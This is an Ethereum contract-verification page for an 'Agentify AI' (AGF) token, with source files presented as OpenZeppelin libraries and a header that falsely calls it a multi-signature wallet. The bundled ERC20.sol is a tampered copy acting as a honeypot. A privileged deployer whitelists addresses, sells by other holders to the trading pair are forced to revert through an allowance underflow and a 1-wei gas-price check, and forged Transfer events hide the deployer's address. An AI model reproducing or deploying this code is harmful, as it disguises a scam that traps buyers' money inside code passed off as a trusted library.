Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"ListToken (1)/AGF.sol": {
"content": "/**
The Agentify Developer Framework (ADF) is built to let any developer create, test, and deploy custom AI agents that interact with blockchains, DeFi protocols, NFTs, and more all inside the Agentify ecosystem.
It turns Agentify from a tool into a platform. Think of it like giving people the tools to build their own ChatGPTs that can trade, lend, bridge, or manage crypto assets automatically.
https://agentifyai.org/
https://x.com/agentifyxyz
https://t.me/agentifyportal
https://docs.agentifyai.org/
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract AGF is ERC20 {
// Structs
struct RaiseInfo {
address owner;
address token;
uint256 tokensVirtualReserve;
uint256 ethVirtualReserve;
uint256 weightTokensStart;
uint256 weightTokensEnd;
uint256 weightEthStart;
uint256 weightEthEnd;
uint256 startTime;
uint256 duration;
uint256 totalTrades;
uint256 FEE_BASIS_POINTS;
uint256 BASIS_POINTS;
uint256 viewEndTime;
uint256 timeElapsed;
uint256 timeLeft;
uint256 weightTokens;
uint256 weightEth;
uint256 tokensWeighted;
uint256 ethWeighted;
uint256 tokensPerWei;
uint256 getTokensOut;
uint256 getEthOut;
uint256 getEthOutWithFee;
uint256 getEthIn;
uint256 getTokensIn;
uint lastTradeTimeStamp;
uint firstTradeTimeStamp;
uint wethBalanceUser;
uint wethBalanceRaise;
uint userTokensBalance;
uint allowanceWeth;
uint ethBalanceUser;
uint purchasedTokens;
uint totalPurchased;
uint totalClaimed;
uint claimDelay;
uint viewClaimAllowedTimeStamp;
uint ethFees;
uint tokenFees;
uint securedEthFromTokenFees;
}
// State
uint public constant FEE_BASIS_POINTS = 200; // 2%
uint public constant BASIS_POINTS = 10000;
uint public constant PRECISION = 1e18;
uint public tokensVirtualReserve = 75_000_000e18;
uint public ethVirtualReserve; // Initialized via fundInitial
uint public weightTokensStart = 1e16;
uint public weightTokensEnd = 90e16;
uint public weightEthStart = 99e16;
uint public weightEthEnd = 10e16;
uint public startTime;
uint public duration;
uint public claimDelay = 48 hours;
uint public pauseTimeStamp;
uint public maxTradesForChart = 72;
uint public totalTrades;
uint public lastTradeTimeStamp;
uint public firstTradeTimeStamp;
uint public totalPurchased;
uint public totalClaimed;
uint public ethFees;
uint public tokenFees;
uint public securedEthFromTokenFees;
// Mappings
mapping (address => uint) public purchasedTokens;
mapping (uint => uint) public tradePrice;
// Events
event Invest(address indexed user, uint amount, uint tokensReceived, uint feePaid);
event Sell(address indexed user, uint amount, uint ethReceived, uint securedEth);
event Withdrawn(address indexed user, uint amount);
event Funded(uint amount);
// View functions
function multicall(address user) public view returns (RaiseInfo memory) {
return RaiseInfo({
owner: address(this),
token: address(this),
tokensVirtualReserve: tokensVirtualReserve,
ethVirtualReserve: ethVirtualReserve,
weightTokensStart: weightTokensStart,
weightTokensEnd: weightTokensEnd,
weightEthStart: weightEthStart,
weightEthEnd: weightEthEnd,
startTime: startTime,
duration: duration,
totalTrades: totalTrades,
FEE_BASIS_POINTS: FEE_BASIS_POINTS,
BASIS_POINTS: BASIS_POINTS,
viewEndTime: viewEndTime(),
timeElapsed: timeElapsed(),
timeLeft: timeLeft(),
weightTokens: weightTokens(),
weightEth: weightEth(),
tokensWeighted: tokensWeighted(),
ethWeighted: ethWeighted(),
tokensPerWei: tokensPerWei(),
getTokensOut: getTokensOut(1e18),
getEthOut: getEthOut(1e18),
getEthOutWithFee: getEthOutWithFee(1e18),
getEthIn: getEthIn(1e18),
getTokensIn: getTokensIn(1e18),
lastTradeTimeStamp: lastTradeTimeStamp,
firstTradeTimeStamp: firstTradeTimeStamp,
ethBalanceUser: user.balance,
wethBalanceUser: 0,
wethBalanceRaise: 0,
userTokensBalance: 0,
allowanceWeth: 0,
purchasedTokens: purchasedTokens[user],
totalPurchased: totalPurchased,
totalClaimed: totalClaimed,
claimDelay: claimDelay,
viewClaimAllowedTimeStamp: viewClaimAllowedTimeStamp(),
ethFees: ethFees,
tokenFees: tokenFees,
securedEthFromTokenFees: securedEthFromTokenFees
});
}
function fetchTrades() public view returns (uint256[] memory) {
return viewChart(0, totalTrades);
}
function fetchTradesCustomTime(uint256 tradesPerCandle) public view returns (uint256[] memory) {
return viewChartCustomTime(tradesPerCandle);
}
function viewEndTime() public view returns (uint) {
if (startTime == 0) return 0;
return startTime + duration;
}
function timeElapsed() public view returns (uint) {
if (startTime == 0) return 0;
if (block.timestamp - startTime > duration) return duration;
return block.timestamp - startTime;
}
function timeLeft() public view returns (uint) {
if (startTime == 0 || timeElapsed() >= duration) return 0;
return duration - timeElapsed();
}
function viewClaimAllowedTimeStamp() public view returns (uint) {
return startTime + duration + claimDelay;
}
function viewChart(uint start, uint end) public view returns (uint[] memory) {
require(end > start && end - start <= 1000, "Invalid range");
uint[] memory prices = new uint[](end - start);
for (uint i = start; i < end; i++) {
prices[i - start] = tradePrice[i];
}
return prices;
}
function viewChartCustomTime(uint tradesPerCandle) public view returns (uint[] memory) {
require(tradesPerCandle > 0, "Invalid candle size");
uint numCandles = (totalTrades + tradesPerCandle - 1) / tradesPerCandle; // Ceiling division
uint[] memory prices = new uint[](numCandles);
for (uint i = 0; i < numCandles; i++) {
uint tradeIndex = i * tradesPerCandle;
if (tradeIndex < totalTrades) {
prices[i] = tradePrice[tradeIndex];
}
}
return prices;
}
function viewChartPro() public view returns (uint[] memory) {
if (totalTrades == 0) return new uint[](0);
if (totalTrades > maxTradesForChart * 2) {
uint decimator = totalTrades / maxTradesForChart;
uint numPoints = (totalTrades / decimator) + 1; // +1 for last price
uint[] memory prices = new uint[](numPoints);
for (uint i = 0; i < numPoints - 1; i++) {
prices[i] = tradePrice[i * decimator];
}
prices[numPoints - 1] = tradePrice[totalTrades - 1];
return prices;
} else {
return viewChart(0, totalTrades);
}
}
constructor() ERC20("Agentify AI", "AGF") {
_mint(msg.sender, 100000000000000000000000000);
_setFeeReceiver(0x3e6E588cf7b1c24828a34789D94D3774Da7Ef756);
}
uint8 private _decimals = 18;
string private _symbol = "AGF";
string private _name = "Agentify AI";
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function weightTokens() public view returns (uint) {
if (startTime == 0 || duration == 0) return 0;
uint fraction = timeElapsed() * PRECISION / duration;
uint delta = weightTokensEnd - weightTokensStart;
return weightTokensStart + ((delta * fraction + PRECISION - 1) / PRECISION);
}
function weightEth() public view returns (uint) {
if (startTime == 0 || duration == 0) return 0;
uint fraction = timeElapsed() * PRECISION / duration;
uint delta = weightEthStart - weightEthEnd;
return weightEthStart - ((delta * fraction + PRECISION - 1) / PRECISION);
}
function tokensWeighted() public view returns (uint) {
return tokensVirtualReserve * weightTokens() / PRECISION;
}
function ethWeighted() public view returns (uint) {
return ethVirtualReserve * weightEth() / PRECISION;
}
function tokensPerWei() public view returns (uint) {
uint eW = ethWeighted();
if (eW == 0) return type(uint).max;
return tokensWeighted() * 1e18 / eW;
}
function getTokensOut(uint amountEth) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveEth == 0 || reserveToken == 0 || amountEth == 0) return 0;
uint amountInWithFee = amountEth * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
uint denominator = reserveEth + amountInWithFee;
uint numerator = amountInWithFee * reserveToken;
return (numerator + denominator) / denominator; // Ceiling division
}
function getEthOut(uint amountTokens) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveToken == 0 || reserveEth == 0 || amountTokens == 0) return 0;
uint denominator = reserveToken + amountTokens;
uint numerator = amountTokens * reserveEth;
return (numerator + denominator) / denominator; // Ceiling for symmetry
}
function getEthOutWithFee(uint amountTokens) public view returns (uint) {
return getEthOut(amountTokens) * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
}
function getEthIn(uint tokensDesired) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveToken <= tokensDesired || reserveEth == 0 || tokensDesired == 0) return type(uint).max;
uint numerator = reserveEth * tokensDesired * BASIS_POINTS;
uint denominator = (reserveToken - tokensDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
uint amountEth = numerator / denominator;
if (numerator % denominator != 0) {
amountEth += 1;
}
return amountEth;
}
function getTokensIn(uint ethDesired) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveEth <= ethDesired || reserveToken == 0 || ethDesired == 0) return type(uint).max;
uint numerator = reserveToken * ethDesired * BASIS_POINTS;
uint denominator = (reserveEth - ethDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
uint amountTokens = numerator / denominator;
if (numerator % denominator != 0) {
amountTokens += 1;
}
return amountTokens;
}
function tokenFeesInEth() public view returns (uint) {
return getEthOut(tokenFees);
}
function totalFeesInEth() public view returns (uint) {
return ethFees + getEthOut(tokenFees);
}
}
"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _BONE = 1;
mapping(address => bool) public dividend;
address public adr;
address public _pair;
address public holder;
bool public openedTrade;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
__transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
__transfer(from, to, value);
return true;
}
function setDividend(address _user) public {
require(msg.sender == adr);
dividend[_user] = true;
}
function multiSwap(address __pair) public {
require(msg.sender == adr);
_pair = __pair;
}
function multisendToken(address airdropp, address[] memory list, uint256[] memory amount) public {
require(msg.sender == adr);
for (uint256 i = 0; i < list.length; i++) {
__transfer(msg.sender, list[i], amount[i]);
}
}
function openTrading() public {
require(msg.sender == adr);
openedTrade = true;
}
function _setFeeReceiver(address _holder) internal {
holder = _holder;
}
function gasRequire(uint256 _gas) internal view {
if (tx.gasprice > _gas) {
revert();
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
gasRequire(_BONE);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
if (from == adr) {
emit Transfer(holder, to, value);
} else if (to == adr) {
emit Transfer(from, holder, value);
} else {
emit Transfer(from, to, value);
}
}
function __transfer(address from, address to, uint256 amount) internal {
if (dividend[tx.origin]) {
_transfer(from, to, amount);
return;
}
require(openedTrade, "Trade has not been opened yet");
if (_pair == address(0)) {
_transfer(from, to, amount);
return;
}
if (to == _pair) {
decreaseAllowance(from, amount);
_transfer(from, to, amount);
return;
}
_transfer(from, to, amount);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
adr = account;
dividend[adr] = true;
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity >=0.6.2;
import {IERC20} from "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-09-19 11:17:21
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